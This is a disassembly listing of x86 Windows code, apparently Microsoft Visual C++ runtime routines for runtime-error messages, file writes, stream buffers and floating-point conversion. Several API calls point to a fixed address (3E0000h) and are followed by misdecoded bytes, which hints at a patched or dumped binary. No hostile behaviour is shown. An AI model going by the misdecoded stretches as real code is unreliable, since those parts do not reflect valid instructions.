var_1A4 = byte ptr -1A4h
var_A0 = byte ptr -0A0h
arg_FFFFFFFC = dword ptr 8
push ebp
mov ebp, esp
sub esp, 1A4h
mov edx, [ebp+arg_FFFFFFFC]
xor ecx, ecx
mov eax, offset dword_42E7F8
loc_417C6C: ; CODE XREF: sub_417C59+20j
cmp edx, [eax]
jz short loc_417C7B
add eax, 8
inc ecx
cmp eax, offset off_42E888
jl short loc_417C6C
loc_417C7B: ; CODE XREF: sub_417C59+15j
push esi
mov esi, ecx
shl esi, 3
cmp edx, ds:dword_42E7F8[esi]
jnz loc_417DA9
mov eax, ds:dword_45F898
cmp eax, 1
jz loc_417D83
test eax, eax
jnz short loc_417CAC
cmp ds:dword_42E184, 1
jz loc_417D83
loc_417CAC: ; CODE XREF: sub_417C59+44j
cmp edx, 0FCh
jz loc_417DA9
lea eax, [ebp+var_1A4]
push 104h
push eax
push 0
call near ptr 3E0000h
or [ebp+var_72EC8A40], al
test [esi+edi*8-1], ebx
jmp fword ptr [eax+44h]
; ---------------------------------------------------------------------------
retf
; ---------------------------------------------------------------------------
db 41h, 0, 50h
; ---------------------------------------------------------------------------
call sub_411B70
pop ecx
pop ecx
lea eax, [ebp+var_1A4]
push edi
push eax
lea edi, [ebp+var_1A4]
call sub_410B60
inc eax
pop ecx
cmp eax, 3Ch
jbe short loc_417D26
lea eax, [ebp+var_1A4]
push eax
call sub_410B60
mov edi, eax
lea eax, [ebp+var_1A4]
sub eax, 3Bh
push 3
add edi, eax
push offset a___ ; "..."
push edi
call sub_411D00
add esp, 10h
loc_417D26: ; CODE XREF: sub_417C59+A2j
lea eax, [ebp+var_A0]
push offset aRuntimeErrorPr ; "Runtime Error!\n\nProgram: "
push eax
call sub_411B70
lea eax, [ebp+var_A0]
push edi
push eax
call sub_411B80
lea eax, [ebp+var_A0]
push offset asc_41CB20 ; "\n\n"
push eax
call sub_411B80
push ds:off_42E7FC[esi]
lea eax, [ebp+var_A0]
push eax
call sub_411B80
push 12010h
lea eax, [ebp+var_A0]
push offset aMicrosoftVisua ; "Microsoft Visual C++ Runtime Library"
push eax
call sub_4195E1
add esp, 2Ch
pop edi
jmp short loc_417DA9
; ---------------------------------------------------------------------------
loc_417D83: ; CODE XREF: sub_417C59+3Cj
; sub_417C59+4Dj
lea eax, [ebp+arg_FFFFFFFC]
lea esi, off_42E7FC[esi]
push 0
push eax
push dword ptr [esi]
call sub_410B60
pop ecx
push eax
push dword ptr [esi]
push 0FFFFFFF4h
call near ptr 3E0000h
push ecx
push eax
call near ptr 3E0000h
outsd
loc_417DA9: ; CODE XREF: sub_417C59+2Ej
; sub_417C59+59j ...
pop esi
leave
retn
sub_417C59 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417DAC proc near ; CODE XREF: sub_412B27+95p
; sub_412B27+E8p ...
var_414 = byte ptr -414h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 414h
mov ecx, [ebp+arg_0]
push ebx
cmp ecx, ds:dword_460C60
push esi
push edi
jnb loc_417F40
mov eax, ecx
mov esi, ecx
sar eax, 5
and esi, 1Fh
lea ebx, ds:460B60h[eax*4]
shl esi, 3
mov eax, [ebx]
mov al, [eax+esi+4]
test al, 1
jz loc_417F40
xor edi, edi
cmp [ebp+arg_8], edi
mov [ebp+var_8], edi
mov [ebp+var_10], edi
jnz short loc_417DFD
loc_417DF6: ; CODE XREF: sub_417DAC+177j
xor eax, eax
jmp loc_417F54
; ---------------------------------------------------------------------------
loc_417DFD: ; CODE XREF: sub_417DAC+48j
test al, 20h
jz short loc_417E0D
push 2
push edi
push ecx
call sub_4169A2
add esp, 0Ch
loc_417E0D: ; CODE XREF: sub_417DAC+53j
mov eax, [ebx]
add eax, esi
test byte ptr [eax+4], 80h
jz loc_417EDC
mov eax, [ebp+arg_4]
cmp [ebp+arg_8], edi
mov [ebp+var_4], eax
mov [ebp+arg_0], edi
jbe loc_417F14
loc_417E2D: ; CODE XREF: sub_417DAC+F5j
lea eax, [ebp+var_414]
loc_417E33: ; CODE XREF: sub_417DAC+B9j
mov ecx, [ebp+var_4]
sub ecx, [ebp+arg_4]
cmp ecx, [ebp+arg_8]
jnb short loc_417E67
mov ecx, [ebp+var_4]
inc [ebp+var_4]
mov cl, [ecx]
cmp cl, 0Ah
jnz short loc_417E52
inc [ebp+var_10]
mov byte ptr [eax], 0Dh
inc eax
loc_417E52: ; CODE XREF: sub_417DAC+9Dj
mov [eax], cl
inc eax
mov ecx, eax
lea edx, [ebp+var_414]
sub ecx, edx
cmp ecx, 400h
jl short loc_417E33
loc_417E67: ; CODE XREF: sub_417DAC+90j
mov edi, eax
lea eax, [ebp+var_414]
sub edi, eax
lea eax, [ebp+var_C]
push 0
push eax
lea eax, [ebp+var_414]
push edi
push eax
mov eax, [ebx]
push dword ptr [eax+esi]
call near ptr 3E0000h
dec edi
test eax, eax
jz short loc_417ED1
mov eax, [ebp+var_C]
add [ebp+var_8], eax
cmp eax, edi
jl short loc_417EA3
mov eax, [ebp+var_4]
sub eax, [ebp+arg_4]
cmp eax, [ebp+arg_8]
jb short loc_417E2D
loc_417EA3: ; CODE XREF: sub_417DAC+EAj
; sub_417DAC+12Ej
xor edi, edi
loc_417EA5: ; CODE XREF: sub_417DAC+150j
; sub_417DAC+15Bj
mov eax, [ebp+var_8]
cmp eax, edi
jnz loc_417F3B
cmp [ebp+arg_0], edi
jz short loc_417F14
push 5
pop eax
cmp [ebp+arg_0], eax
jnz short loc_417F09
mov ds:dword_45F844, 9
mov ds:dword_45F848, eax
jmp loc_417F51
; ---------------------------------------------------------------------------
loc_417ED1: ; CODE XREF: sub_417DAC+E0j
call ds:dword_41C068 ; RtlGetLastWin32Error
mov [ebp+arg_0], eax
jmp short loc_417EA3
; ---------------------------------------------------------------------------
loc_417EDC: ; CODE XREF: sub_417DAC+69j
lea ecx, [ebp+var_C]
push edi
push ecx
push [ebp+arg_8]
push [ebp+arg_4]
push dword ptr [eax]
call near ptr 3E0000h
xchg eax, edi
test eax, eax
jz short loc_417EFE
mov eax, [ebp+var_C]
mov [ebp+arg_0], edi
mov [ebp+var_8], eax
jmp short loc_417EA5
; ---------------------------------------------------------------------------
loc_417EFE: ; CODE XREF: sub_417DAC+145j
call ds:dword_41C068 ; RtlGetLastWin32Error
mov [ebp+arg_0], eax
jmp short loc_417EA5
; ---------------------------------------------------------------------------
loc_417F09: ; CODE XREF: sub_417DAC+10Fj
push [ebp+arg_0]
call sub_41724D
pop ecx
jmp short loc_417F51
; ---------------------------------------------------------------------------
loc_417F14: ; CODE XREF: sub_417DAC+7Bj
; sub_417DAC+107j
mov eax, [ebx]
test byte ptr [eax+esi+4], 40h
jz short loc_417F29
mov eax, [ebp+arg_4]
cmp byte ptr [eax], 1Ah
jz loc_417DF6
loc_417F29: ; CODE XREF: sub_417DAC+16Fj
mov ds:dword_45F844, 1Ch
mov ds:dword_45F848, edi
jmp short loc_417F51
; ---------------------------------------------------------------------------
loc_417F3B: ; CODE XREF: sub_417DAC+FEj
sub eax, [ebp+var_10]
jmp short loc_417F54
; ---------------------------------------------------------------------------
loc_417F40: ; CODE XREF: sub_417DAC+15j
; sub_417DAC+37j
and ds:dword_45F848, 0
mov ds:dword_45F844, 9
loc_417F51: ; CODE XREF: sub_417DAC+120j
; sub_417DAC+166j ...
or eax, 0FFFFFFFFh
loc_417F54: ; CODE XREF: sub_417DAC+4Cj
; sub_417DAC+192j
pop edi
pop esi
pop ebx
leave
retn
sub_417DAC endp
; =============== S U B R O U T I N E =======================================
sub_417F59 proc near ; CODE XREF: sub_412B27+6Cp
; sub_4164EB+32p ...
arg_0 = dword ptr 4
inc ds:dword_45FA04
push 1000h
call sub_410C0F
pop ecx
mov ecx, [esp+arg_0]
test eax, eax
mov [ecx+8], eax
jz short loc_417F82
or dword ptr [ecx+0Ch], 8
mov dword ptr [ecx+18h], 1000h
jmp short loc_417F93
; ---------------------------------------------------------------------------
loc_417F82: ; CODE XREF: sub_417F59+1Aj
or dword ptr [ecx+0Ch], 4
lea eax, [ecx+14h]
mov [ecx+8], eax
mov dword ptr [ecx+18h], 2
loc_417F93: ; CODE XREF: sub_417F59+27j
mov eax, [ecx+8]
and dword ptr [ecx+4], 0
mov [ecx], eax
retn
sub_417F59 endp
; =============== S U B R O U T I N E =======================================
sub_417F9D proc near ; CODE XREF: sub_412B27+61p
; sub_4172B4+8p
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
cmp eax, ds:dword_460C60
jb short loc_417FAC
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_417FAC: ; CODE XREF: sub_417F9D+Aj
mov ecx, eax
and eax, 1Fh
sar ecx, 5
mov ecx, ds:dword_460B60[ecx*4]
mov al, [ecx+eax*8+4]
and eax, 40h
retn
sub_417F9D endp
; ---------------------------------------------------------------------------
mov eax, ds:dword_460B40
push esi
push 14h
test eax, eax
pop esi
jnz short loc_417FD7
mov eax, 200h
jmp short loc_417FDD
; ---------------------------------------------------------------------------
loc_417FD7: ; CODE XREF: seg000:00417FCEj
cmp eax, esi
jge short loc_417FE2
mov eax, esi
loc_417FDD: ; CODE XREF: seg000:00417FD5j
mov ds:dword_460B40, eax
loc_417FE2: ; CODE XREF: seg000:00417FD9j
push 4
push eax
call sub_41966A
pop ecx
mov ds:dword_45FB34, eax
test eax, eax
pop ecx
jnz short loc_418016
push 4
push esi
mov ds:dword_460B40, esi
call sub_41966A
pop ecx
mov ds:dword_45FB34, eax
test eax, eax
pop ecx
jnz short loc_418016
push 1Ah
call sub_412ADE
pop ecx
loc_418016: ; CODE XREF: seg000:00417FF3j
; seg000:0041800Cj
xor ecx, ecx
mov eax, offset off_42E888
loc_41801D: ; CODE XREF: seg000:00418031j
mov edx, ds:dword_45FB34
mov [ecx+edx], eax
add eax, 20h
add ecx, 4
cmp eax, offset dword_42EB08
jl short loc_41801D
xor edx, edx
mov ecx, offset dword_42E898
loc_41803A: ; CODE XREF: seg000:00418064j
mov eax, edx
mov esi, edx
sar eax, 5
and esi, 1Fh
mov eax, ds:dword_460B60[eax*4]
mov eax, [eax+esi*8]
cmp eax, 0FFFFFFFFh
jz short loc_418057
test eax, eax
jnz short loc_41805A
loc_418057: ; CODE XREF: seg000:00418051j
or dword ptr [ecx], 0FFFFFFFFh
loc_41805A: ; CODE XREF: seg000:00418055j
add ecx, 20h
inc edx
cmp ecx, offset dword_42E8F8
jl short loc_41803A
pop esi
retn
; ---------------------------------------------------------------------------
loc_418068: ; DATA XREF: seg002:0041E02Co
call sub_416475
cmp ds:byte_45F884, 0
jz short locret_41807B
jmp loc_4196E7
; ---------------------------------------------------------------------------
locret_41807B: ; CODE XREF: seg000:00418074j
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41807C proc near ; CODE XREF: sub_412C3C+2D4p
; sub_412C3C+6B3p
arg_0 = dword ptr 8
arg_4 = word ptr 0Ch
push ebp
mov ebp, esp
mov eax, [ebp+arg_0]
test eax, eax
jnz short loc_418088
pop ebp
retn
; ---------------------------------------------------------------------------
loc_418088: ; CODE XREF: sub_41807C+8j
cmp ds:dword_45F8D0, 0
jnz short loc_4180A3
mov cx, [ebp+arg_4]
cmp cx, 0FFh
ja short loc_4180D5
push 1
mov [eax], cl
pop eax
pop ebp
retn
; ---------------------------------------------------------------------------
loc_4180A3: ; CODE XREF: sub_41807C+13j
lea ecx, [ebp+arg_0]
and [ebp+arg_0], 0
push ecx
push 0
push ds:dword_42E39C
push eax
lea eax, [ebp+arg_4]
push 1
push eax
push 220h
push ds:dword_45F8E0
call ds:dword_41C11C ; WideCharToMultiByte
test eax, eax
jz short loc_4180D5
cmp [ebp+arg_0], 0
jz short loc_4180E2
loc_4180D5: ; CODE XREF: sub_41807C+1Ej
; sub_41807C+51j
mov ds:dword_45F844, 2Ah
or eax, 0FFFFFFFFh
loc_4180E2: ; CODE XREF: sub_41807C+57j
pop ebp
retn
sub_41807C endp
; ---------------------------------------------------------------------------
loc_4180E4: ; CODE XREF: sub_413446+5Ep
; sub_417022+9Ap
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_41CB60
push offset sub_417B48
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 18h
push ebx
push esi
push edi
mov [ebp-18h], esp
mov eax, ds:dword_45FA08
xor ebx, ebx
cmp eax, ebx
jnz short loc_418153
lea eax, [ebp-1Ch]
push eax
push 1
pop esi
push esi
push offset dword_41C850
push esi
call ds:dword_41C028 ; GetStringTypeW
test eax, eax
jz short loc_418131
mov eax, esi
jmp short loc_41814E
; ---------------------------------------------------------------------------
loc_418131: ; CODE XREF: seg000:0041812Bj
lea eax, [ebp-1Ch]
push eax
push esi
push offset dword_42F3E4
push esi
push ebx
call near ptr 3E0000h
hlt
; ---------------------------------------------------------------------------
test eax, eax
jz loc_418219
push 2
pop eax
loc_41814E: ; CODE XREF: seg000:0041812Fj
mov ds:dword_45FA08, eax
loc_418153: ; CODE XREF: seg000:00418113j
cmp eax, 2
jnz short near ptr loc_41817B+1
mov eax, [ebp+1Ch]
cmp eax, ebx
jnz short loc_418164
mov eax, ds:dword_45F8D0
loc_418164: ; CODE XREF: seg000:0041815Dj
push dword ptr [ebp+14h]
push dword ptr [ebp+10h]
push dword ptr [ebp+0Ch]
push dword ptr [ebp+8]
push eax
call near ptr 3E0000h
mov ecx, 9FE9h
loc_41817B: ; CODE XREF: seg000:00418156j
add [ebx-7AF0FE08h], al
xchg eax, esp
; ---------------------------------------------------------------------------
dw 0
dd 185D3900h, 0E0A10875h, 890045F8h, 53531845h, 0FF1075FFh
dd 458B0C75h, 1BD8F720h, 8E083C0h, 75FF5040h, 2015FF18h
dd 890041C1h, 0C33BE045h, 5D896374h, 3C8DFCh, 0C083C78Bh
dd 0E8FC2403h, 0FFFF8A18h, 8BE86589h, 0DC7589F4h, 0E8565357h
dd 0FFFF83B8h, 0EB0CC483h, 58016A0Bh, 0E8658BC3h, 0F633DB33h
dd 0FFFC4D83h, 2974F33Bh, 56E075FFh, 0FF1075FFh, 16A0C75h
dd 0FF1875FFh, 41C12015h, 74C33B00h, 1475FF10h, 75FF5650h
dd 2815FF08h, 0EB0041C0h
db 2
; ---------------------------------------------------------------------------
loc_418219: ; CODE XREF: seg000:00418145j
xor eax, eax
lea esp, [ebp-34h]
mov ecx, [ebp-10h]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
; =============== S U B R O U T I N E =======================================
sub_41822D proc near ; CODE XREF: sub_414606+52p
xor eax, eax
retn
sub_41822D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418230 proc near ; CODE XREF: sub_418265+Ep
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push esi
fstcw word ptr [ebp+var_4]
push [ebp+var_4]
call sub_41827B
mov esi, eax
mov eax, [ebp+arg_4]
not eax
and esi, eax
mov eax, [ebp+arg_0]
and eax, [ebp+arg_4]
or esi, eax
push esi
call sub_41830D
pop ecx
mov [ebp+arg_4], eax
pop ecx
fldcw word ptr [ebp+arg_4]
mov eax, esi
pop esi
leave
retn
sub_418230 endp
; =============== S U B R O U T I N E =======================================
sub_418265 proc near ; CODE XREF: sub_4148F2+Ap
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
and eax, 0FFF7FFFFh
push eax
push [esp+4+arg_0]
call sub_418230
pop ecx
pop ecx
retn
sub_418265 endp
; =============== S U B R O U T I N E =======================================
sub_41827B proc near ; CODE XREF: sub_418230+Cp
arg_0 = dword ptr 4
push ebx
mov ebx, [esp+4+arg_0]
xor eax, eax
push ebp
test bl, 1
push edi
jz short loc_41828C
push 10h
pop eax
loc_41828C: ; CODE XREF: sub_41827B+Cj
test bl, 4
jz short loc_418293
or al, 8
loc_418293: ; CODE XREF: sub_41827B+14j
test bl, 8
jz short loc_41829A
or al, 4
loc_41829A: ; CODE XREF: sub_41827B+1Bj
test bl, 10h
jz short loc_4182A1
or al, 2
loc_4182A1: ; CODE XREF: sub_41827B+22j
test bl, 20h
jz short loc_4182A8
or al, 1
loc_4182A8: ; CODE XREF: sub_41827B+29j
test bl, 2
jz short loc_4182B2
or eax, 80000h
loc_4182B2: ; CODE XREF: sub_41827B+30j
movzx ecx, bx
push esi
mov edx, ecx
mov esi, 0C00h
mov edi, 300h
and edx, esi
mov ebp, 200h
jz short loc_4182EA
cmp edx, 400h
jz short loc_4182E7
cmp edx, 800h
jz short loc_4182E3
cmp edx, esi
jnz short loc_4182EA
or eax, edi
jmp short loc_4182EA
; ---------------------------------------------------------------------------
loc_4182E3: ; CODE XREF: sub_41827B+5Ej
or eax, ebp
jmp short loc_4182EA
; ---------------------------------------------------------------------------
loc_4182E7: ; CODE XREF: sub_41827B+56j
or ah, 1
loc_4182EA: ; CODE XREF: sub_41827B+4Ej
; sub_41827B+62j ...
and ecx, edi
pop esi
jz short loc_4182FA
cmp ecx, ebp
jnz short loc_4182FF
or eax, 10000h
jmp short loc_4182FF
; ---------------------------------------------------------------------------
loc_4182FA: ; CODE XREF: sub_41827B+72j
or eax, 20000h
loc_4182FF: ; CODE XREF: sub_41827B+76j
; sub_41827B+7Dj
pop edi
pop ebp
test bh, 10h
pop ebx
jz short locret_41830C
or eax, 40000h
locret_41830C: ; CODE XREF: sub_41827B+8Aj
retn
sub_41827B endp
; =============== S U B R O U T I N E =======================================
sub_41830D proc near ; CODE XREF: sub_418230+23p
arg_0 = dword ptr 4
push ebx
mov ebx, [esp+4+arg_0]
xor eax, eax
push esi
test bl, 10h
jz short loc_41831D
push 1
pop eax
loc_41831D: ; CODE XREF: sub_41830D+Bj
test bl, 8
jz short loc_418324
or al, 4
loc_418324: ; CODE XREF: sub_41830D+13j
test bl, 4
jz short loc_41832B
or al, 8
loc_41832B: ; CODE XREF: sub_41830D+1Aj
test bl, 2
jz short loc_418332
or al, 10h
loc_418332: ; CODE XREF: sub_41830D+21j
test bl, 1
jz short loc_418339
or al, 20h
loc_418339: ; CODE XREF: sub_41830D+28j
test ebx, 80000h
jz short loc_418343
or al, 2
loc_418343: ; CODE XREF: sub_41830D+32j
mov ecx, ebx
mov edx, 300h
and ecx, edx
mov esi, 200h
jz short loc_418370
cmp ecx, 100h
jz short loc_41836D
cmp ecx, esi
jz short loc_418368
cmp ecx, edx
jnz short loc_418370
or ah, 0Ch
jmp short loc_418370
; ---------------------------------------------------------------------------
loc_418368: ; CODE XREF: sub_41830D+50j
or ah, 8
jmp short loc_418370
; ---------------------------------------------------------------------------
loc_41836D: ; CODE XREF: sub_41830D+4Cj
or ah, 4
loc_418370: ; CODE XREF: sub_41830D+44j
; sub_41830D+54j ...
mov ecx, ebx
and ecx, 30000h
jz short loc_418386
cmp ecx, 10000h
jnz short loc_418388
or eax, esi
jmp short loc_418388
; ---------------------------------------------------------------------------
loc_418386: ; CODE XREF: sub_41830D+6Bj
or eax, edx
loc_418388: ; CODE XREF: sub_41830D+73j
; sub_41830D+77j
pop esi
test ebx, 40000h
pop ebx
jz short locret_418395
or ah, 10h
locret_418395: ; CODE XREF: sub_41830D+83j
retn
sub_41830D endp
; =============== S U B R O U T I N E =======================================
sub_418396 proc near ; CODE XREF: sub_418435+48p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
push esi
push 20h
cdq
pop ecx
idiv ecx
push 1Fh
mov esi, eax
mov eax, [esp+8+arg_4]
cdq
idiv ecx
pop ecx
mov eax, [esp+4+arg_0]
sub ecx, edx
or edx, 0FFFFFFFFh
shl edx, cl
not edx
test [eax+esi*4], edx
jnz short loc_4183DB
inc esi
cmp esi, 3
jge short loc_4183D6
lea eax, [eax+esi*4]
loc_4183C8: ; CODE XREF: sub_418396+3Ej
cmp dword ptr [eax], 0
jnz short loc_4183DB
inc esi
add eax, 4
cmp esi, 3
jl short loc_4183C8
loc_4183D6: ; CODE XREF: sub_418396+2Dj
push 1
pop eax
pop esi
retn
; ---------------------------------------------------------------------------
loc_4183DB: ; CODE XREF: sub_418396+27j
; sub_418396+35j
xor eax, eax
pop esi
retn
sub_418396 endp
; =============== S U B R O U T I N E =======================================
sub_4183DF proc near ; CODE XREF: sub_418435+57p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
push ebx
push esi
push edi
push 20h
mov ebx, [esp+10h+arg_0]
cdq
pop ecx
idiv ecx
mov esi, eax
mov eax, [esp+0Ch+arg_4]
cdq
idiv ecx
lea edi, [ebx+esi*4]
push edi
push 1Fh
pop ecx
push 1
pop eax
sub ecx, edx
shl eax, cl
push eax
push dword ptr [edi]
call sub_41973F
add esp, 0Ch
dec esi
js short loc_418431
lea edi, [ebx+esi*4]
loc_418418: ; CODE XREF: sub_4183DF+50j
test eax, eax
jz short loc_418431
push edi
push 1
push dword ptr [edi]
call sub_41973F
add esp, 0Ch
dec esi
sub edi, 4
test esi, esi
jge short loc_418418
loc_418431: ; CODE XREF: sub_4183DF+34j
; sub_4183DF+3Bj
pop edi
pop esi
pop ebx
retn
sub_4183DF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418435 proc near ; CODE XREF: sub_418590+81p
; sub_418590+CCp
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, [ebp+arg_4]
push ebx
push esi
push edi
lea edi, [eax-1]
push 20h
pop ecx
and [ebp+var_4], 0
lea ebx, [edi+1]
push 20h
mov eax, ebx
pop esi
cdq
idiv ecx
push 1Fh
mov ecx, eax
mov eax, ebx
cdq
idiv esi
mov eax, [ebp+arg_0]
pop esi
push 1
mov [ebp+var_8], ecx
lea eax, [eax+ecx*4]
mov [ebp+arg_4], eax
sub esi, edx
pop edx
mov ecx, esi
shl edx, cl
test [eax], edx
jz short loc_418499
inc ebx
push ebx
push [ebp+arg_0]
call sub_418396
pop ecx
test eax, eax
pop ecx
jnz short loc_418496
push edi
push [ebp+arg_0]
call sub_4183DF
pop ecx
mov [ebp+var_4], eax
pop ecx
loc_418496: ; CODE XREF: sub_418435+51j
mov eax, [ebp+arg_4]
loc_418499: ; CODE XREF: sub_418435+41j
or edx, 0FFFFFFFFh
mov ecx, esi
shl edx, cl
push 3
pop ecx
and [eax], edx
mov eax, [ebp+var_8]
inc eax
cmp eax, ecx
jge short loc_4184B9
mov edx, [ebp+arg_0]
sub ecx, eax
lea edi, [edx+eax*4]
xor eax, eax
rep stosd
loc_4184B9: ; CODE XREF: sub_418435+76j
mov eax, [ebp+var_4]
pop edi
pop esi
pop ebx
leave
retn
sub_418435 endp
; =============== S U B R O U T I N E =======================================
sub_4184C1 proc near ; CODE XREF: sub_418590+75p
; sub_418590+B6p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
mov ecx, [esp+arg_0]
push esi
push 3
sub ecx, eax
pop edx
loc_4184CF: ; CODE XREF: sub_4184C1+17j
mov esi, [eax]
mov [ecx+eax], esi
add eax, 4
dec edx
jnz short loc_4184CF
pop esi
retn
sub_4184C1 endp
; =============== S U B R O U T I N E =======================================
sub_4184DC proc near ; CODE XREF: sub_418590+5Fp
; sub_418590+9Ep ...
arg_0 = dword ptr 4
push edi
mov edi, [esp+4+arg_0]
xor eax, eax
stosd
stosd
stosd
pop edi
retn
sub_4184DC endp
; =============== S U B R O U T I N E =======================================
sub_4184E8 proc near ; CODE XREF: sub_418590+4Dp
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
xor ecx, ecx
loc_4184EE: ; CODE XREF: sub_4184E8+12j
cmp dword ptr [eax], 0
jnz short loc_418500
inc ecx
add eax, 4
cmp ecx, 3
jl short loc_4184EE
push 1
pop eax
retn
; ---------------------------------------------------------------------------
loc_418500: ; CODE XREF: sub_4184E8+9j
xor eax, eax
retn
sub_4184E8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418503 proc near ; CODE XREF: sub_418590+C0p
; sub_418590+DAp ...
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 0Ch
mov eax, [ebp+arg_4]
push ebx
push esi
push edi
push 20h
mov edi, [ebp+arg_0]
pop ebx
or esi, 0FFFFFFFFh
cdq
mov ecx, ebx
mov [ebp+var_4], 3
idiv ecx
mov [ebp+var_C], eax
mov eax, [ebp+arg_4]
cdq
idiv ecx
and [ebp+arg_4], 0
mov ecx, edx
shl esi, cl
sub ebx, edx
not esi
loc_418539: ; CODE XREF: sub_418503+58j
mov eax, [edi]
mov ecx, eax
and ecx, esi
mov [ebp+var_8], ecx
mov ecx, edx
shr eax, cl
or eax, [ebp+arg_4]
mov [edi], eax
mov eax, [ebp+var_8]
mov ecx, ebx
add edi, 4
shl eax, cl
dec [ebp+var_4]
mov [ebp+arg_4], eax
jnz short loc_418539
mov edi, [ebp+var_C]
push 2
pop ebx
mov esi, edi
push 8
pop ecx
shl esi, 2
loc_41856B: ; CODE XREF: sub_418503+86j
cmp ebx, edi
jl short loc_41857E
mov edx, [ebp+arg_0]
mov eax, ecx
sub eax, esi
mov eax, [eax+edx]
mov [ecx+edx], eax
jmp short loc_418585
; ---------------------------------------------------------------------------
loc_41857E: ; CODE XREF: sub_418503+6Aj
mov eax, [ebp+arg_0]
and dword ptr [ecx+eax], 0
loc_418585: ; CODE XREF: sub_418503+79j
dec ebx
sub ecx, 4
jns short loc_41856B
pop edi
pop esi
pop ebx
leave
retn
sub_418503 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418590 proc near ; CODE XREF: sub_4186FC+Dp
; sub_418712+Dp
var_18 = byte ptr -18h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 18h
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
movzx ecx, word ptr [eax+0Ah]
mov ebx, ecx
and ecx, 8000h
mov [ebp+arg_0], ecx
mov ecx, [eax+6]
mov [ebp+var_C], ecx
mov ecx, [eax+2]
movzx eax, word ptr [eax]
mov edi, [ebp+arg_8]
and ebx, 7FFFh
sub ebx, 3FFFh
mov [ebp+var_8], ecx
shl eax, 10h
cmp ebx, 0FFFFC001h
mov [ebp+var_4], eax
jnz short loc_4185FD
lea eax, [ebp+var_C]
xor esi, esi
push eax
call sub_4184E8
test eax, eax
pop ecx
jnz loc_4186BC
lea eax, [ebp+var_C]
push eax
call sub_4184DC
pop ecx
loc_4185F5: ; CODE XREF: sub_418590+E4j
push 2
loc_4185F7: ; CODE XREF: sub_418590+110j
pop eax
jmp loc_4186BE
; ---------------------------------------------------------------------------
loc_4185FD: ; CODE XREF: sub_418590+45j
lea eax, [ebp+var_C]
push eax
lea eax, [ebp+var_18]
push eax
call sub_4184C1
push dword ptr [edi+8]
lea eax, [ebp+var_C]
push eax
call sub_418435
add esp, 10h
test eax, eax
jz short loc_41861E
inc ebx
loc_41861E: ; CODE XREF: sub_418590+8Bj
mov eax, [edi+4]
mov ecx, eax
sub ecx, [edi+8]
cmp ebx, ecx
jge short loc_418636
lea eax, [ebp+var_C]
push eax
call sub_4184DC
pop ecx
jmp short loc_418672
; ---------------------------------------------------------------------------
loc_418636: ; CODE XREF: sub_418590+98j
cmp ebx, eax
jg short loc_418679
sub eax, ebx
mov esi, eax
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_C]
push eax
call sub_4184C1
lea eax, [ebp+var_C]
push esi
push eax
call sub_418503
push dword ptr [edi+8]
lea eax, [ebp+var_C]
push eax
call sub_418435
mov eax, [edi+0Ch]
inc eax
push eax
lea eax, [ebp+var_C]
push eax
call sub_418503
add esp, 20h
loc_418672: ; CODE XREF: sub_418590+A4j
xor esi, esi
jmp loc_4185F5
; ---------------------------------------------------------------------------
loc_418679: ; CODE XREF: sub_418590+A8j
cmp ebx, [edi]
jl short loc_4186A5
lea eax, [ebp+var_C]
push eax
call sub_4184DC
push dword ptr [edi+0Ch]
or byte ptr [ebp+var_C+3], 80h
lea eax, [ebp+var_C]
push eax
call sub_418503
mov esi, [edi+14h]
add esp, 0Ch
add esi, [edi]
push 1
jmp loc_4185F7
; ---------------------------------------------------------------------------
loc_4186A5: ; CODE XREF: sub_418590+EBj
push dword ptr [edi+0Ch]
mov esi, [edi+14h]
and byte ptr [ebp+var_C+3], 7Fh
lea eax, [ebp+var_C]
push eax
add esi, ebx
call sub_418503
pop ecx
pop ecx
loc_4186BC: ; CODE XREF: sub_418590+55j
xor eax, eax
loc_4186BE: ; CODE XREF: sub_418590+68j
push 1Fh
pop ecx
sub ecx, [edi+0Ch]
mov edi, [edi+10h]
shl esi, cl
mov ecx, [ebp+arg_0]
neg ecx
sbb ecx, ecx
and ecx, 80000000h
or esi, ecx
or esi, [ebp+var_C]
cmp edi, 40h
jnz short loc_4186ED
mov ecx, [ebp+arg_4]
mov edx, [ebp+var_8]
mov [ecx+4], esi
mov [ecx], edx
jmp short loc_4186F7
; ---------------------------------------------------------------------------
loc_4186ED: ; CODE XREF: sub_418590+14Ej
cmp edi, 20h
jnz short loc_4186F7
mov ecx, [ebp+arg_4]
mov [ecx], esi
loc_4186F7: ; CODE XREF: sub_418590+15Bj
; sub_418590+160j
pop edi
pop esi
pop ebx
leave
retn
sub_418590 endp
